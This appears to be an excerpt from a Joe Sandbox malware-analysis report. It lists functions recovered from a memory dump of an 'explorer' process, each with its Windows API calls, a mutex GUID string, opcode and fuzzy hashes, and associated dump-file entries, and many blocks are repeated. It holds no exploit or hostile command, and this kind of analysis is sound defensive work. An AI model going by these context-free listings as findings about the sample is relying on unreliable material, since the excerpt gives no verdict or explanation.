Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: 3f4a609b6b85ce19b629f703ee1c45849e5e308dee8cee7de8996c57758e9cd8
Instruction ID: 3afe1b451f24494108a2cdf6ac31eff011f5bc2a0c66bb0d0e7724f363010c78
Opcode Fuzzy Hash: 3f4a609b6b85ce19b629f703ee1c45849e5e308dee8cee7de8996c57758e9cd8
Instruction Fuzzy Hash: 58F0D038100D0982FF1DFBA5FE153D82761EBA075DF440239E62A46570DF398486C711

Function 011AD72A Relevance: 7.5, APIs: 5, Instructions: 25synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 011ADA70
WaitForSingleObject.KERNEL32 ref: 011ADA82
CloseHandle.KERNEL32 ref: 011ADA8F
CloseHandle.KERNEL32 ref: 011ADAA6
ExitProcess.KERNEL32 ref: 011ADACB
CloseHandle.KERNEL32 ref: 011ADAE7
CloseHandle.KERNEL32 ref: 011ADAFA
CloseHandle.KERNEL32 ref: 011ADB25
LocalFree.KERNEL32 ref: 011ADB38
ExitProcess.KERNEL32 ref: 011ADB49

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: 2279b9e329606f482461459331447446910ba0a7178c6b7be947a094aef3e10f
Instruction ID: 3afe1b451f24494108a2cdf6ac31eff011f5bc2a0c66bb0d0e7724f363010c78
Opcode Fuzzy Hash: 2279b9e329606f482461459331447446910ba0a7178c6b7be947a094aef3e10f
Instruction Fuzzy Hash: 58F0D038100D0982FF1DFBA5FE153D82761EBA075DF440239E62A46570DF398486C711

Function 011AD750 Relevance: 7.5, APIs: 5, Instructions: 25synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 011ADA70
WaitForSingleObject.KERNEL32 ref: 011ADA82
CloseHandle.KERNEL32 ref: 011ADA8F
CloseHandle.KERNEL32 ref: 011ADAA6
ExitProcess.KERNEL32 ref: 011ADACB
CloseHandle.KERNEL32 ref: 011ADAE7
CloseHandle.KERNEL32 ref: 011ADAFA
CloseHandle.KERNEL32 ref: 011ADB25
LocalFree.KERNEL32 ref: 011ADB38
ExitProcess.KERNEL32 ref: 011ADB49

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: cd7f7dacfb38960633c265f37f2beb7289591d5bb6379b87ea7dbaf7eb1417f9
Instruction ID: 3afe1b451f24494108a2cdf6ac31eff011f5bc2a0c66bb0d0e7724f363010c78
Opcode Fuzzy Hash: cd7f7dacfb38960633c265f37f2beb7289591d5bb6379b87ea7dbaf7eb1417f9
Instruction Fuzzy Hash: 58F0D038100D0982FF1DFBA5FE153D82761EBA075DF440239E62A46570DF398486C711

Function 011AD776 Relevance: 7.5, APIs: 5, Instructions: 25synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 011ADA70
WaitForSingleObject.KERNEL32 ref: 011ADA82
CloseHandle.KERNEL32 ref: 011ADA8F
CloseHandle.KERNEL32 ref: 011ADAA6
ExitProcess.KERNEL32 ref: 011ADACB
CloseHandle.KERNEL32 ref: 011ADAE7
CloseHandle.KERNEL32 ref: 011ADAFA
CloseHandle.KERNEL32 ref: 011ADB25
LocalFree.KERNEL32 ref: 011ADB38
ExitProcess.KERNEL32 ref: 011ADB49

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: f33f5098479b61cb8784f9bdc42afecc69a11538bc06af07a78670a9932cc185
Instruction ID: 3afe1b451f24494108a2cdf6ac31eff011f5bc2a0c66bb0d0e7724f363010c78
Opcode Fuzzy Hash: f33f5098479b61cb8784f9bdc42afecc69a11538bc06af07a78670a9932cc185
Instruction Fuzzy Hash: 58F0D038100D0982FF1DFBA5FE153D82761EBA075DF440239E62A46570DF398486C711

Function 011AD763 Relevance: 7.5, APIs: 5, Instructions: 25synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 011ADA70
WaitForSingleObject.KERNEL32 ref: 011ADA82
CloseHandle.KERNEL32 ref: 011ADA8F
CloseHandle.KERNEL32 ref: 011ADAA6
ExitProcess.KERNEL32 ref: 011ADACB
CloseHandle.KERNEL32 ref: 011ADAE7
CloseHandle.KERNEL32 ref: 011ADAFA
CloseHandle.KERNEL32 ref: 011ADB25
LocalFree.KERNEL32 ref: 011ADB38
ExitProcess.KERNEL32 ref: 011ADB49

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: d13ebd1533689c61dbedd7e5c398c8caf9c83e98fba6a0ef91f1596ae0a7184f
Instruction ID: 3afe1b451f24494108a2cdf6ac31eff011f5bc2a0c66bb0d0e7724f363010c78
Opcode Fuzzy Hash: d13ebd1533689c61dbedd7e5c398c8caf9c83e98fba6a0ef91f1596ae0a7184f
Instruction Fuzzy Hash: 58F0D038100D0982FF1DFBA5FE153D82761EBA075DF440239E62A46570DF398486C711

Function 011AD65F Relevance: 7.5, APIs: 5, Instructions: 25synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 011ADA70
WaitForSingleObject.KERNEL32 ref: 011ADA82
CloseHandle.KERNEL32 ref: 011ADA8F
CloseHandle.KERNEL32 ref: 011ADAA6
ExitProcess.KERNEL32 ref: 011ADACB
CloseHandle.KERNEL32 ref: 011ADAE7
CloseHandle.KERNEL32 ref: 011ADAFA
CloseHandle.KERNEL32 ref: 011ADB25
LocalFree.KERNEL32 ref: 011ADB38
ExitProcess.KERNEL32 ref: 011ADB49

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitProcess$EventFreeLocalObjectSingleWait
String ID:
API String ID: 3388663691-0
Opcode ID: 154d7befebbb67ca448b3011b7ee005e36315c4a0744a47ed84eebfe96a10e49
Instruction ID: 3afe1b451f24494108a2cdf6ac31eff011f5bc2a0c66bb0d0e7724f363010c78
Opcode Fuzzy Hash: 154d7befebbb67ca448b3011b7ee005e36315c4a0744a47ed84eebfe96a10e49
Instruction Fuzzy Hash: 58F0D038100D0982FF1DFBA5FE153D82761EBA075DF440239E62A46570DF398486C711

Function 011AE470 Relevance: 7.5, APIs: 5, Instructions: 21COMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 011AE47B
CoCreateGuid.COMBASE ref: 011AE486
StringFromGUID2.COMBASE ref: 011AE4A0
CoUninitialize.COMBASE ref: 011AE4AA
CoUninitialize.COMBASE ref: 011AE4B7

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Uninitialize$CreateFromGuidInitializeString
String ID:
API String ID: 46189592-0
Opcode ID: 98d1923c9e600ed36ae5589ba33196ce763fd58fc06dba7b5e299eff5153a42d
Instruction ID: 45072c70474bd4514dad97535d99c68b30ffe0a16773403d8603d6cd2d72e84f
Opcode Fuzzy Hash: 98d1923c9e600ed36ae5589ba33196ce763fd58fc06dba7b5e299eff5153a42d
Instruction Fuzzy Hash: 03E06D323149A582EB1C7F64E8083DA2774F750B49F840029EA8AC16B5DF6DC14AC700

Function 011B5FB2 Relevance: 7.5, APIs: 5, Instructions: 19synchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 011B6441
ReleaseMutex.KERNEL32 ref: 011B645F
CloseHandle.KERNEL32 ref: 011B646A
CloseHandle.KERNEL32 ref: 011B647D
CloseHandle.KERNEL32 ref: 011B6488

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$MutexRelease
String ID:
API String ID: 2279609368-0
Opcode ID: 243a2039e09a370efbe64ca8e91fb5a861a196b6e0ad1bf0f32ac2e1f9b342c3
Instruction ID: 4f7417b323fb9d49e3c84fce8d814c7a7b06030975a7afdb36340af533c5a9ea
Opcode Fuzzy Hash: 243a2039e09a370efbe64ca8e91fb5a861a196b6e0ad1bf0f32ac2e1f9b342c3
Instruction Fuzzy Hash: 0AF0A531115E4082E75CAB11F8983E963B1FBC4B69F901039E78B82A74CF7DC88AC740

Function 011C417C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

_fltout2.LIBCMT ref: 011C41B7
_errno.LIBCMT ref: 011C41C1
_invalid_parameter_noinfo.LIBCMT ref: 011C41C8

Strings

-, xrefs: 011C41E3

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _errno_fltout2_invalid_parameter_noinfo
String ID: -
API String ID: 485257318-2547889144
Opcode ID: eb0da219b1e6c698879588daba050085f6bb106e72c1d381b0551375f9195ab6
Instruction ID: 2c6b256f8a53366a651994b035cf97602cae202937ad0454c5ca31646ba7becf
Opcode Fuzzy Hash: eb0da219b1e6c698879588daba050085f6bb106e72c1d381b0551375f9195ab6
Instruction Fuzzy Hash: 0431F522308A8185DA299B65B85079ABB61FBB5FE8F04421ADF9807F98DF28C445CB10

Function 011C4614 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 011C462D
_invalid_parameter_noinfo.LIBCMT ref: 011C4639
_errno.LIBCMT ref: 011C4660

Strings

1, xrefs: 011C46AF

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID: 1
API String ID: 2819658684-2212294583
Opcode ID: ad9f0758fff27885306979df86806ac888a182690923f3c3b573b2da9f238c34
Instruction ID: 40712d58433c0931927b0e3444af8e4871c03b2d21276b8f946fef61e72ba958
Opcode Fuzzy Hash: ad9f0758fff27885306979df86806ac888a182690923f3c3b573b2da9f238c34
Instruction Fuzzy Hash: C711066221D6E0D6EB1F8F38D57036C6E559B75F88F8AC069C74607B1AD72EC940C722

Function 0119EB19 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32 ref: 0119EAEC
CloseHandle.KERNEL32 ref: 0119EB04
Sleep.KERNEL32 ref: 0119EB0F
Sleep.KERNEL32 ref: 0119EB20

Strings

{BBD69D41-7ECF-4B3B-8592-7E70DE12B303}, xrefs: 0119EADE

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Sleep$CloseHandleMutexOpen
String ID: {BBD69D41-7ECF-4B3B-8592-7E70DE12B303}
API String ID: 2551712853-555727378
Opcode ID: 25bec7e92827d0297fd61afa6c2a10886451f66215c2a3fb739f2a55cdae6f8b
Instruction ID: af5f73ccdd18a82325b23b8a7fc1152114e5c50d3b617ca4a5305255282d8f78
Opcode Fuzzy Hash: 25bec7e92827d0297fd61afa6c2a10886451f66215c2a3fb739f2a55cdae6f8b
Instruction Fuzzy Hash: 43E0463120AF48C2E70CEB16E8583EA63A2F788358F044029E39783AA4DF3CC44AC751

Function 0119EA1F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32 ref: 0119E9F2
CloseHandle.KERNEL32 ref: 0119EA0A
Sleep.KERNEL32 ref: 0119EA15

Strings

{BBD69D41-7ECF-4B3B-8592-7E70DE12B303}, xrefs: 0119E9E4

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandleMutexOpenSleep
String ID: {BBD69D41-7ECF-4B3B-8592-7E70DE12B303}
API String ID: 2969294566-555727378
Opcode ID: 441557c633a345505624ff61e171cf7fb03210bb1cc255660fe9b56885f110e2
Instruction ID: 10c77c648196905f4cfd424be69367905c96ed5e51dd1cf040f88655cb73aee7
Opcode Fuzzy Hash: 441557c633a345505624ff61e171cf7fb03210bb1cc255660fe9b56885f110e2
Instruction Fuzzy Hash: 07E04F30105A5083E71CEB14F8083EA62B1F785345F100039E35793664DF3EC885C702

Function 011BE5D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,000000FF,011BE619,?,?,00000028,011BC7F1,?,?,?,011C06FC,?,?,00000000,011C0C0D), ref: 011BE5DF
GetProcAddress.KERNEL32(?,?,000000FF,011BE619,?,?,00000028,011BC7F1,?,?,?,011C06FC,?,?,00000000,011C0C0D), ref: 011BE5F4

Strings

CorExitProcess, xrefs: 011BE5EA
mscoree.dll, xrefs: 011BE5D8

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 67fd304b8d5c5dfc8f69313dee537c28d2a599d129ff7dd232d388c1c2320c93
Instruction ID: 64aa0fe3a5ba5bd3c435c3cdb0ec9f22977f2b8f015e787d03a23880519b9b27
Opcode Fuzzy Hash: 67fd304b8d5c5dfc8f69313dee537c28d2a599d129ff7dd232d388c1c2320c93
Instruction Fuzzy Hash: 9FD05B307C370042FF1D5B94A8C83E42BA09B4C702F481428C61E06351DF7CC5D9C380

Function 0119EC2A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32 ref: 0119EBF4
CloseHandle.KERNEL32 ref: 0119EC15
Sleep.KERNEL32 ref: 0119EC20
Sleep.KERNEL32 ref: 0119EC31

Strings

{BBD69D41-7ECF-4B3B-8592-7E70DE12B303}, xrefs: 0119EBE6

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Sleep$CloseHandleMutexOpen
String ID: {BBD69D41-7ECF-4B3B-8592-7E70DE12B303}
API String ID: 2551712853-555727378
Opcode ID: 0536936bd104f7e511559acd778527aa54bdbdc1e5228892e3991640a40c1caf
Instruction ID: 26ee8cce5bd2b2f8c63fba57fda5a20e1c87af02ba5dc068a3400b8ffa9c885a
Opcode Fuzzy Hash: 0536936bd104f7e511559acd778527aa54bdbdc1e5228892e3991640a40c1caf
Instruction Fuzzy Hash: 1CE0463110AA8081E76CFB24F8083EA72A1F788305F004839D3DBD2AA4CF38C089C712

Function 0119ECB7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

OpenMutexW.KERNEL32 ref: 0119EC81
CloseHandle.KERNEL32 ref: 0119ECA2
Sleep.KERNEL32 ref: 0119ECAD
Sleep.KERNEL32 ref: 0119ECBE

Strings

{BBD69D41-7ECF-4B3B-8592-7E70DE12B303}, xrefs: 0119EC73

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Sleep$CloseHandleMutexOpen
String ID: {BBD69D41-7ECF-4B3B-8592-7E70DE12B303}
API String ID: 2551712853-555727378
Opcode ID: 56660e23fab4dcdc456bdd07bfbcca192f9671feb55bbfd65129424a54c7b959
Instruction ID: bb92daf6222378ec754b79c46ac8ae7e2ccbd8ff05cbd7f68278dec3d8f4a68e
Opcode Fuzzy Hash: 56660e23fab4dcdc456bdd07bfbcca192f9671feb55bbfd65129424a54c7b959
Instruction Fuzzy Hash: B4E04F30105AC4C1E77CEB15F8883EA62A1F784704F448429D3DBD66A8CF38C489DB41

